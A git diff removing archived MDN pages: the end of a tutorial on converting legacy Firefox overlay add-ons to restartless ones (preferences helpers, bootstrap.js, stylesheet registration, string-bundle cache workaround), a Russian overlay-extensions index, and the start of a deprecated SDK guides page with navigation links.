-<p>If your file is not text or JSON, then you're going to want to read binary data. The new way to do this is to use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a>. Specify "arraybuffer" as your data type to get one from your XMLHttpRequest. To access that data you're going to need a data view to look at your typed array with. Data that's homogeneous might get away with using something like Uint32Array or one of the other standard typed array views, but it's probably a bad idea. <strong>The basic typed array views are not endian-safe.</strong> This is incredibly stupid. You'd think such an important new JavaScript feature made available for web content and chrome alike would at least have a way to set and keep track of <a href="https://en.wikipedia.org/wiki/Endianness">endianness</a>, but no, it doesn't. Don't use any of the <a href="https://developer.mozilla.org/en-US/docs/Web/API/ArrayBufferView#Typed_array_subclasses">basic typed arrays</a> for any data you did not earlier write into them in the same program session. Also, they're not particularly helpful if your data isn't all of the exact same type (which it probably isn't).</p>
-
-<p>The solution to read arbitrary binary data, of various sizes, in an endian-safe way, is to use <a href="https://developer.mozilla.org/en-US/docs/Web/API/DataView">DataView</a>. The other typed array stuff is viable in Firefox 4+. This wasn't added until Firefox 15. If you were using nsIBinaryInputStream or anything similar, figuring out DataView will be fairly straightforward. Just read the docs and it's pretty simple. It will probably be notably faster than whatever you were doing before.</p>
-
-<p>Reportedly <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Using_XMLHttpRequest_from_JavaScript_modules_.2F_XPCOM_components">XMLHttpRequest doesn't work reliably when used in JSM under versions of Firefox less than 16</a>, however as previously mentioned, this guide should be taken as requiring Firefox 17+.</p>
-
-<h2 id="Step_4_Manually_handle_default_preferences">Step 4: Manually handle default preferences</h2>
-
-<p>Normal extensions load <a href="https://developer.mozilla.org/en-US/docs/Default_Preferences">default preferences</a> from a standardized file automatically. Restartless extensions <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=564675">don't</a> (for no good reason). This part is fairly easy to implement yourself, at least. Here are some functions to handle this:</p>
-
-<pre class="brush: js">function getGenericPref(branch,prefName)
-{
- switch (branch.getPrefType(prefName))
- {
- default:
- case 0: return undefined; // PREF_INVALID
- case 32: return getUCharPref(prefName,branch); // PREF_STRING
- case 64: return branch.getIntPref(prefName); // PREF_INT
- case 128: return branch.getBoolPref(prefName); // PREF_BOOL
- }
-}
-function setGenericPref(branch,prefName,prefValue)
-{
- switch (typeof prefValue)
- {
- case "string":
- setUCharPref(prefName,prefValue,branch);
- return;
- case "number":
- branch.setIntPref(prefName,prefValue);
- return;
- case "boolean":
- branch.setBoolPref(prefName,prefValue);
- return;
- }
-}
-function setDefaultPref(prefName,prefValue)
-{
- var defaultBranch = Services.prefs.getDefaultBranch(null);
- setGenericPref(defaultBranch,prefName,prefValue);
-}
-function getUCharPref(prefName,branch) // Unicode getCharPref
-{
- branch = branch ? branch : Services.prefs;
- return branch.getComplexValue(prefName, Components.interfaces.nsISupportsString).data;
-}
-function setUCharPref(prefName,text,branch) // Unicode setCharPref
-{
- var string = Components.classes["@mozilla.org/supports-string;1"]
- .createInstance(Components.interfaces.nsISupportsString);
- string.data = text;
- branch = branch ? branch : Services.prefs;
- branch.setComplexValue(prefName, Components.interfaces.nsISupportsString, string);
-}</pre>
-
-<p>Just grab the above, move your default preferences file to your chrome mapping, and then do the following line once during your startup:</p>
-
-<pre class="brush: js">Services.scriptloader.loadSubScript("chrome://myAddon/content/defaultprefs.js",
- {pref:setDefaultPref} );
-</pre>
-
-<p>That's it. Once you've got the machinery to load and save preferences without having to jump through the various pref type hoops the actual preferences API sends you through, loading the actual preferences file is one line. I'd generally still recommend using the type specific functions for each pref individually, but to load the defaults just use the generic functions above and it's quite simple. The other generic functions are provided above in case you need them. Unfortunately, the built in APIs for dealing with preferences are missing this basic stuff, and its plain text handling doesn't work with Unicode properly.</p>
-
-<h3 id="Step_4a_Another_way_to_handle_default_preferences">Step 4a: Another way to handle default preferences</h3>
-
-<p>If you want to keep your preference file in <strong>defaults/preferences/</strong>, the approach above only works as long as your extension is unpacked. For packed extensions (the default), you can either load a module similar to Firebug’s <a href="https://github.com/firebug/firebug/blob/master/extension/modules/prefLoader.js">prefLoader.js</a> or load this <a href="https://gist.github.com/oshybystyi/8cf882bc8b0c9a95a116">workaround module</a>.</p>
-
-<h2 id="Step_5_No_more_internal_JAR_files">Step 5: No more internal JAR files</h2>
-
-<p>You know how I've been mentioning extractionless add-ons every once in a while thus far? Well, you should probably consider switching to be extractionless when you go restartless. An old-style add-on installer is packaged something like this:</p>
-
-<pre>myAddon.xpi file (glorified ZIP)
-└─ chrome.manifest
-└─ install.rdf
-└─ chrome folder
- └─ myAddon folder
- └─ content.jar file
- └─ content folder (most files go here)
- └─ locale folder (your locale files go here)</pre>
-
-<p>In versions of Firefox prior to 4.0 (Gecko 2.0), the XPI would be extracted into a folder in your profile's extensions folder. In current versions it stays unextracted as an XPI. If you were using input streams you already had to deal with this because they weren't an option without extraction. Opting-out to extractionlessness is done via the "unpack" flag in <a href="https://developer.mozilla.org/en-US/Add-ons/Install_Manifests">install.rdf</a>.</p>
-
-<p>Why the internal JAR? Well, two reasons:</p>
-
-<ol>
- <li>Prior to extractionless add-ons, all of your files got extracted. Putting them in one single JAR file made all your stuff load in one file read, which was faster. Extractionless XPIs are bascially a standardization of this idea.</li>
- <li>XPI files are glorified ZIPs, and ZIP compression is horrible. Doing an<em>uncompressed</em> internal JAR (aka, another ZIP) acts like a poor-man's <a href="https://en.wikipedia.org/wiki/Solid_archive">solid archive</a> and significantly boosts the overall compression ratio of the XPI, resulting in smaller installers and updates.</li>
-</ol>
-
-<p>So, it's pretty much internal JAR<em>or</em> extractionless XPI. Well, <strong>you can't use an internal JAR anymore</strong>. Firefox aggressively caches add-on data a bit too much. Your restartless add-on won't actually reload some types of files if they are in a JAR and the add-on is updated without a restart. The big culprits are JSM files and locale files (namely property files), though in some situations this is true for dynamically loaded image files too. You're still going to have to manually clear the chrome cache on add-on shutdown to work around this, but that doesn't seem to be enough with an internal JAR. So, time to switch to extractionless, too. See <a href="https://developer.mozilla.org/en-US/Add-ons/Install_Manifests#unpack">here</a> for the list of stuff you can't have in addition to no resource:// URIs or file:// URIs to files inside your XPI.</p>
-
-<p>If you actually can't find a way to go fully extractionless, you could hack together some combination of internal JAR(s) and extracted files. It can be done. However, you really should go extractionless. Firefox profiles aren't the pristine environment they're supposed to be. Software that pretends to be designed to protect security or privacy that some users have installed will sometimes delete files. There have been plenty of reports of add-on franken-installs with files of two versions mixed together. This might be due to malware or a bug in Firefox. In any case, I have noticed a significant improvement in reliability by going fully extractionless. Installing and updating a single file is far more idiot-proof.</p>
-
-<h2 id="Step_6_No_more_XUL_overlays">Step 6: No more XUL overlays</h2>
-
-<p>Ok, now we're getting into some more drastic changes. You won't be able to use your chrome.manifest to load XUL overlays anymore with a restartless add-on. You could look into <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.loadOverlay">dynamically loading</a> and unloading your overlay, however dynamically manipulating the DOM of your XUL window is usually the more straightforward route.</p>
-
-<p>Figure out what XUL elements you need to create for your add-on to add your interface, where it needs to go into a XUL window, and how to do it. Docs: <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.getElementById">document.getElementByID()</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.createElement">document.createElement()</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/element">Element reference</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Node">Node reference</a> (DOM elements are also nodes).</p>
-
-<p>You'll need to write two functions. One to take a XUL window object and then create and add your elements, and then another to find your elements and remove them from the window object. The former will need to be run on add-on startup and the later on add-on shutdown. Until you get your bootstrap.js running you should use a basic overlay onto the XUL window with an event listener for "load" to catch overlay load and then run your manual UI construction function.</p>
-
-<h3 id="Step_6a._Details_on_adding_elements_dynamically_to_chrome_XUL_window">Step 6a. Details on adding elements dynamically to chrome XUL window</h3>
-
-<p>There is a way that makes constructing of UI a lot similar to the way it was made with XUL overlay. It involves using <a href="https://github.com/firebug/firebug.sdk/blob/master/lib/core/xul.js">firebug.sdk</a>. The next is example of the code:</p>
-
-<pre class="brush: js">var overlay =
- TOOLBARBUTTON(toolbarButtonAttrs,
- PANEL({'id': 'thepanel', 'type': 'arrow'},
- HBOX({'align': 'start'},
- VBOX(
- HBOX({'class': 'pixel-hbox'},
- DESCRIPTION({'value': this.stringBundle.GetStringFromName('firexPixel.opacity')}),
- HTMLINPUT({'id': 'opacity-range', 'type': 'range', 'min': '0', 'max': '10'})
- ),
- HBOX({'id': 'pixel-coords', 'class': 'pixel-hbox'},
- LABEL({'control': 'coord-x', 'value': 'X:'}),
- TEXTBOX({'id': 'coord-x', 'class': 'coord-box', 'placeholder' : '0'}),
- LABEL({'control': 'coord-y', 'value': 'Y:'}),
- TEXTBOX({'id': 'coord-y', 'class': 'coord-box', 'placeholder': '0'})
- ...
-</pre>
-
-<p>That way you build elements hierarchy with not much interaction with DOM, plus you can see tag properties and it children in a nice, structured way, just like in overlay.xul. You can find working example <a href="https://github.com/oshybystyi/FireX-Pixel-Perfect/blob/issue-5-make-addon-restartless/content/ui.jsm#L94">here</a>. It involves using of firebug.sdk xul.js with <a href="https://github.com/oshybystyi/FireX-Pixel-Perfect/blob/issue-5-make-addon-restartless/content/lib/xul.js">few modifications</a>.</p>
-
-<h2 id="Step_7_Manually_handle_global_CSS_Stylesheets">Step 7: Manually handle global CSS Stylesheets</h2>
-
-<p>Any Global CSS style sheets which you are using will need to be registered upon load and unregistered when your extension is unloaded. Any CSS files used in any of your own XUL files will function normally without any extra work needed.</p>
-
-<pre class="brush: js">Components.utils.import("resource://gre/modules/Services.jsm");
-var styleSheets = ["chrome://myExtension/skin/myStyleSheet.css"];
-
-function startup(data,reason)
-{
-...
-    // Load stylesheets
-    let styleSheetService= Components.classes["@mozilla.org/content/style-sheet-service;1"]
-            .getService(Components.interfaces.nsIStyleSheetService);
-    for (let i=0,len=styleSheets.length;i&lt;len;i++) {
-        let styleSheetURI = Services.io.newURI(styleSheets[i], null, null);
-        styleSheetService.loadAndRegisterSheet(styleSheetURI, styleSheetService.<code>AUTHOR_SHEET</code>);
-    }
-...
-}
-
-function shutdown(data,reason)
-{
-...
-    // Unload stylesheets
-    let styleSheetService = Components.classes["@mozilla.org/content/style-sheet-service;1"]
-            .getService(Components.interfaces.nsIStyleSheetService);
-    for (let i=0,len=styleSheets.length;i&lt;len;i++) {
-        let styleSheetURI = Services.io.newURI(styleSheets[i], null, null);
-        if (styleSheetService.sheetRegistered(styleSheetURI, styleSheetService.<code>AUTHOR_SHEET</code>)) {
-            styleSheetService.unregisterSheet(styleSheetURI, styleSheetService.<code>AUTHOR_SHEET</code>);
- }
-    }
-...
-</pre>
-
-<h2 id="Step_8_Window_icons">Step 8: Window icons</h2>
-
-<p>Firefox does not scan the <code>chrome/icons/default</code> directory of restartless or extrationless extensions for <a href="/en-US/docs/Window_icons">window icons</a>.  If you are using custom window icons, they will need to be moved to <code>%MozDir%/icons/default/</code> upon load of your extension.  Removal upon unload is not required, but you must be able to handle overwriting them upon load.  This is because your <code>unload()</code> will not always be called prior to an upgrade (e.g. upgrade might take place while the application is not running). Further, this is a generic location for icons and the icon may still be in use by a different profile.  Thus, you will probably want to use version numbers in the icon name (the ID of the window for which the icon exists).</p>
-
-<h2 id="Step_9_bootstrap.js">Step 9: bootstrap.js</h2>
-
-<p>A <a href="/en-US/docs/Extensions/bootstrap.js">bootstrap.js</a> file in the root of your XPI, next to your chrome.manifest and install.rdf, will be the <a href="https://developer.mozilla.org/en-US/Add-ons/Bootstrapped_extensions#Bootstrap_entry_points">heart</a> of your restartless add-on. Think of it as main.c, but for JavaScript based Firefox restartless add-ons. A basic bootstrap.js file:</p>
-
-<pre class="brush: js">Components.utils.import("resource://gre/modules/Services.jsm");
-function startup(data,reason) {
- Components.utils.import("chrome://myAddon/content/myModule.jsm");
- myModule.startup(); // Do whatever initial startup stuff you need to do
-
- forEachOpenWindow(loadIntoWindow);
- Services.wm.addListener(WindowListener);
-}
-function shutdown(data,reason) {
- if (reason == APP_SHUTDOWN)
- return;
-
- forEachOpenWindow(unloadFromWindow);
- Services.wm.removeListener(WindowListener);
-
- myModule.shutdown(); // Do whatever shutdown stuff you need to do on addon disable
-
- Components.utils.unload("chrome://myAddon/content/myModule.jsm"); // Same URL as above
-
- // HACK WARNING: The Addon Manager does not properly clear all addon related caches on update;
- // in order to fully update images and locales, their caches need clearing here
- Services.obs.notifyObservers(null, "chrome-flush-caches", null);
-}
-function install(data,reason) { }
-function uninstall(data,reason) { }
-function loadIntoWindow(window) {
-/* call/move your UI construction function here */
-}
-function unloadFromWindow(window) {
-/* call/move your UI tear down function here */
-}
-function forEachOpenWindow(todo) // Apply a function to all open browser windows
-{
- var windows = Services.wm.getEnumerator("navigator:browser");
- while (windows.hasMoreElements())
- todo(windows.getNext().QueryInterface(Components.interfaces.nsIDOMWindow));
-}
-var WindowListener =
-{
- onOpenWindow: function(xulWindow)
- {
- var window = xulWindow.QueryInterface(Components.interfaces.nsIInterfaceRequestor)
- .getInterface(Components.interfaces.nsIDOMWindow);
- function onWindowLoad()
- {
- window.removeEventListener("load",onWindowLoad);
- if (window.document.documentElement.getAttribute("windowtype") == "navigator:browser")
- loadIntoWindow(window);
- }
- window.addEventListener("load",onWindowLoad);
- },
- onCloseWindow: function(xulWindow) { },
- onWindowTitleChange: function(xulWindow, newTitle) { }
-};
-</pre>
-
-<p>As mentioned above, <a href="https://developer.mozilla.org/en-US/docs/Components.utils.unload">Components.utils.unload()</a> will not work properly if the JSM file it is unloading is in a JAR. Also make sure to only unload your own JSM files to avoid accidentally breaking things horribly.</p>
-
-<p>For tearing down and cleaning up on a per-window basis, there is another route you can take. Instead of directly calling your tear down function, make your <code>unloadFromWindow()</code> something like this:</p>
-
-<pre class="brush: js">function unloadFromWindow(window)
-{
- var event = window.document.createEvent("Event");
- event.initEvent("myAddonName-unload",false,false);
- window.dispatchEvent(event);
-}
-</pre>
-
-<p>In each window you can then register on startup to listen for your custom "myAddonName-unload" event and just tear down and clean up when that event or a regular "unload" event comes in.</p>
-
-<h2 id="Step_10_Bypass_cache_when_loading_properties_files">Step 10: Bypass cache when loading properties files</h2>
-
-<p>The above will get you a working add-on that will install without a Firefox restart. It will even get you a working add-on that will update without a Firefox restart... usually. Some parts work only if you don't look too closely; localization is one of them. As mentioned in the previous section, you'll need to clear the chrome caches on add-on shutdown, namely for chrome images and properties files. Doing this will get an update's new properties file to load, however sometimes this will instead produce an error on the next property access. It just doesn't seem that it can reliably clear the cache correctly, for whatever reason. String changes seem to be fine, however the addition or removal of strings can<em>sometimes</em> produce this error. It's not reliably reproducible, but it does happen.<em>Yes, this is a pain in the ass.</em></p>
-
-<p>The suggestion that seems to work is to use a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=719376#c0">hack</a> to bypass the string bundle cache. You should still be caching a reference to your string bundle on add-on startup, preferably using <a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter%28%29">XPCOMUtils.jsm</a> to lazily load the file. For example:</p>
-
-<pre class="brush: js">Components.utils.import("resource://gre/modules/Services.jsm");
-Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
-XPCOMUtils.defineLazyGetter(this, "strings", function() {
- return loadPropertiesFile("chrome://myAddon/locale/mystrings.properties");
-});
-function loadPropertiesFile(path)
-{
- /* HACK: The string bundle cache is cleared on addon shutdown, however it doesn't appear to do so reliably.
- Errors can erratically happen on next load of the same file in certain instances. (at minimum, when strings are added/removed)
- The apparently accepted solution to reliably load new versions is to always create bundles with a unique URL so as to bypass the cache.
- This is accomplished by passing a random number in a parameter after a '?'. (this random ID is otherwise ignored)
- The loaded string bundle is still cached on startup and should still be cleared out of the cache on addon shutdown.
- This just bypasses the built-in cache for repeated loads of the same path so that a newly installed update loads cleanly. */
- return Services.strings.createBundle(path + "?" + Math.random());
-}
-</pre>
-
-<p>Just do <code>strings.GetStringFromName(stringID)</code> as you normally would. The <a href="https://developer.mozilla.org/en-US/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter%28%29">lazy getter magic</a> will cause the file to be automatically loaded the first time it is needed, after which point a reference to the loaded string bundle will be stored in "strings" for future accesses. You still need to clear the cache on add-on shutdown, however it will now also load cleanly on add-on updates. The old file <em>should</em> still be cleared.</p>
-
-<h2 id="Put_it_all_together">Put it all together</h2>
-
-<p>That should be all the pieces. Your chrome.manifest will have just chrome and locale (and possibly skin) mappings in it now. No resource mappings or chrome overlays. The new entry point for your add-on is via <code>bootstrap.js:startup()</code> rather than a "load" handler in a XUL overlay.</p>
-
-<p>Your localization handling should be unaffected by your transition to a restartless/extractionless add-on so long as you properly clear the chrome cache on add-on shutdown and load your properties files using the method listed above. Your property files and DTD files loaded from chrome:// URIs should work just as before. This is all assuming a minimum version of Firefox 17+ (or other Gecko 17+ application) which you should remember to state explicitly in your install.rdf.</p>
-
-<p><strong>Just remember that whatever you start you also need to have the ability to undo. In order for your add-on to reliably update without a restart it needs to be able to shutdown/disable cleanly.</strong></p>
-
-<p>Also note that once you do get this all up and running, your users will still have to restart Firefox once to install your first restartless update. While your new add-on may not need a restart to install, if you're updating from an old version that is not restartless then it will need a restart to<em>uninstall</em> that first.</p>
-
-<div class="note">
-<p>This tutorial was originally written by Dave Garrett from his experience <a href="https://flagfox.wordpress.com/2014/01/19/writing-restartless-addons/">porting the Flagfox extension</a>.</p>
-</div>
-
-<h2 id="Further_reading">Further reading</h2>
-
-<ul>
- <li>Author <a href="https://flagfox.wordpress.com/2014/01/19/writing-restartless-addons/">original article.</a></li>
- <li>Another real-world example of porting overlay-based extension into restartless (<a href="https://github.com/oshybystyi/FireX-Pixel-Perfect/compare/v1.4...oshybystyi:issue-5-make-addon-restartless">git diff</a>).</li>
- <li>Another <a href="https://github.com/firebug/pixel-perfect/blob/master/lib/pixel-perfect-popup.js#L197">example</a> of using firebug.sdk xul.js to construct ui.</li>
-</ul>
diff --git a/files/ru/mozilla/add-ons/overlay_extensions/index.html b/files/ru/mozilla/add-ons/overlay_extensions/index.html
deleted file mode 100644
index ceac592b8d..0000000000
--- a/files/ru/mozilla/add-ons/overlay_extensions/index.html
+++ /dev/null
@@ -1,65 +0,0 @@
----
-title: Overlay extensions
-slug: Mozilla/Add-ons/Overlay_Extensions
-tags:
- - Add-ons
- - Extensions
- - Landing
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Overlay_Extensions
----
-<p>Эта страница содержит ссылки на документы с описанием подхода к разработке расширений для приложений, работающих на движке Gecko, которые используют:</p>
-
-<ul>
- <li>описание интерфейса на основе "XUL overlays"</li>
- <li>API-интерфейсы, доступные <a href="/ru/docs/Словарь/privileged_code">привилегированному коду</a>, например модулям <a href="/en-US/docs/XUL/tabbrowser"><code>tabbrowser</code></a> и <a href="/en-US/docs/Mozilla/JavaScript_code_modules">JavaScript</a> для взаимодействия с приложениями и контентом.</li>
-</ul>
-
-<p>До релиза Firefox 4 и до движка Gecko 2.0 это был единственный способ разработки расширений. Эта методология разработки была заменена на следующие две:<a href="/ru/Add-ons/загрузочные_расширения"> расширения, не требующие перезапуска</a>, и расширения на основе <a href="/ru/Add-ons/SDK">Add-on SDK</a>. Они обе построены поверх первой. <a href="/ru/docs/Словарь/privileged_code">Привилегированные интерфейсы</a> JavaScript API, описанные здесь могут быть также использованы в новых техниках разработки дополнений.</p>
-
-<h2 id="Школа_XUL">Школа XUL</h2>
-
-<p><a href="/ru/docs/XUL_School">Школа XUL</a> - это комплексный учебник по разработке  дополнений, сфокусированный на разработке расширений для Firefox, но также подходящий для других приложений, основанных на движке Gecko.</p>
-
-<h2 id="Ресурсы">Ресурсы</h2>
-
-<div class="column-container">
-<div class="column-half">
-<dl>
- <dt><a href="/en-US/Mozilla/Add-ons/Setting_up_extension_development_environment">Настройка среды</a></dt>
- <dd>Настройка приложений для разработки расширений.</dd>
- <dt><a href="/ru/docs/XUL">XUL</a></dt>
- <dd>Учебники и справочники по языку программирования, используемому XUL-расширениями.</dd>
- <dt><a href="/en-US/Mozilla/Add-ons/Code_snippets">Примеры кода</a></dt>
- <dd>Примеры кода, которые пригодятся.</dd>
- <dt><a href="/en-US/Mozilla/Add-ons/Installing_extensions">Установка расширений</a></dt>
- <dd>Как установить расширение копированием файлов в установочный каталог.</dd>
- <dt><a href="/en-US/Add-ons/Overlay_extensions/Firefox_addons_developer_guide">Руководство разработчика дополнений для Firefox</a></dt>
- <dd>Руководство по разработка расширений.</dd>
- <dt><a href="/en-US/docs/Mozilla/JavaScript_code_modules">JavaScript-модули, доступные разработчику</a></dt>
- <dd>JavaScript-модули доступные разработчику расширений.</dd>
- <dt><a href="/en-US/Mozilla/Add-ons/Inline_Options">Настройка расширения</a></dt>
-</dl>
-</div>
-
-<div class="column-half">
-<dl>
- <dd>Как добавить свойства расширения, которые появятся в менеджере дополнений (Add-ons Manager).</dd>
- <dt><a href="/ru/docs/FAQ_по_расширениям">FAQ</a></dt>
- <dd>Решение некоторых общих проблем.</dd>
- <dt><a href="/en-US/Mozilla/Add-ons/Extension_Packaging">Сборка и установка расширения</a></dt>
- <dd>Сборка и установка.</dd>
- <dt><a href="/en-US/Mozilla/Add-ons/Creating_Custom_Firefox_Extensions_with_the_Mozilla_Build_System">Создание бинарных расширений для Firefox</a></dt>
- <dd>Создание бинарных расширений.</dd>
- <dt><a href="/ru/docs/Building_an_Extension">Создание расширения</a></dt>
- <dd>Ещё один небольшой самоучитель по созданию расширения (только на русском языке)</dd>
- <dt><a href="/ru/docs/Динамически_изменяемый_пользовательский_интерфейс_на_XUL">Динамически изменяемый пользовательский интерфейс на XUL</a></dt>
- <dd>В этой статье обсуждается управление <a href="https://developer.mozilla.org/ru/XUL" title="ru/XUL">XUL</a> интерфейсами с использованием <a href="https://developer.mozilla.org/ru/DOM" title="ru/DOM">DOM</a> и других API.</dd>
- <dt><a href="/ru/docs/Настройка_среды_разработки_расширений">Настройка среды разработки расширений</a></dt>
- <dd>В этой статье приводится несколько советов о том, как настроить ваше приложение Mozilla для удобной работы над расширениями.</dd>
- <dt><a href="/ru/docs/Руководство_по_XUL">Руководство по XUL</a></dt>
- <dd>Руководство по XUL</dd>
-</dl>
-</div>
-</div>
diff --git a/files/ru/mozilla/add-ons/sdk/guides/index.html b/files/ru/mozilla/add-ons/sdk/guides/index.html
deleted file mode 100644
index 1eacaad55a..0000000000
--- a/files/ru/mozilla/add-ons/sdk/guides/index.html
+++ /dev/null
@@ -1,365 +0,0 @@
----
-title: Guides
-slug: Mozilla/Add-ons/SDK/Guides
-tags:
- - Add-on SDK
-translation_of: Archive/Add-ons/Add-on_SDK/Guides
----
-<p> </p>
-
-<div class="warning">
-<p>Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.</p>
-
-<p>Add-ons using the techniques described in this document are considered a legacy technology in Firefox. Don't use these techniques to develop new add-ons. Use <a href="/en-US/Add-ons/WebExtensions">WebExtensions</a> instead. If you maintain an add-on which uses the techniques described here, consider migrating it to use WebExtensions.</p>
-
-<p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 53</a>, no new legacy add-ons will be accepted on addons.mozilla.org (AMO) for desktop Firefox and Firefox for Android.</strong></p>
-
-<p><strong>Starting from <a href="https://wiki.mozilla.org/RapidRelease/Calendar">Firefox 57</a>, only extensions developed using WebExtensions APIs will be supported on Desktop Firefox and Firefox for Android. </strong></p>
-
-<p>Even before Firefox 57, changes coming up in the Firefox platform will break many legacy extensions. These changes include multiprocess Firefox (e10s), sandboxing, and multiple content processes. Legacy extensions that are affected by these changes should migrate to use WebExtensions APIs if they can. See the <a href="https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/">"Compatibility Milestones" document</a> for more information.</p>
-
-<p>A wiki page containing <a href="https://wiki.mozilla.org/Add-ons/developer/communication">resources, migration paths, office hours, and more</a>, is available to help developers transition to the new technologies.</p>
-</div>
-
-<section class="Quick_links" id="Quick_Links">
-<ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions"><strong>Browser extensions</strong></a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Getting_started">Getting started</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions">What are extensions?</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension">Your second extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomy of an extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Examples">Example extensions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_">What next?</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Concepts">Concepts</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_JavaScript_APIs">Using the JavaScript APIs</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">Content scripts</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">Match patterns</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Working with files</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationalization</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">Security best practices</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#User_Interface">User interface</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">User Interface</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebars</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu items</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notifications</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panels</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#How_to">How to</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Intercept HTTP requests</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modify a web page</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">Insert external content</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API">Work with the Tabs API</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Work with the Bookmarks API</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API">Work with the Cookies API</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities">Work with contextual identities</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Porting">Porting</a>
- <ol>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">Porting a Google Chrome extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Porting a legacy Firefox extension</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Chrome incompatibilities</a></li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Differences between desktop and Android</a></li>
- </ol>
- </li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions#Firefox_workflow">Firefox workflow</a>
- <ol>
